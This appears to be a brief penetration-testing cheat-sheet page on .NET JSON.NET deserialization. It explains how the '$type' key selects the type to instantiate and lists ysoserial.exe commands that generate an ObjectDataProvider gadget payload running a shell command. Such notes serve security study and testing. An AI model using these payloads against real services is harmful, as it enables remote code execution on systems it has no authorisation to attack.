.NET Deserialization
Theory
Practice
JSON.NET Deserialization
json = JsonConvert.DeserializeObject<Example>(json);We can give the Json value to the “JsonConvert.DeserializeObject(json)” with a reserved key ($type).
The format is as follow. The value of $type is a string that contains the assembly-qualified name of the .NET type to be deserialized.{
"$type": "<namespace>.<class>, <assembly>",
"<method_name>": "<attribute>"
}#Raw output
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "id"
#Base64 output
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "id" -o base64References
Last updated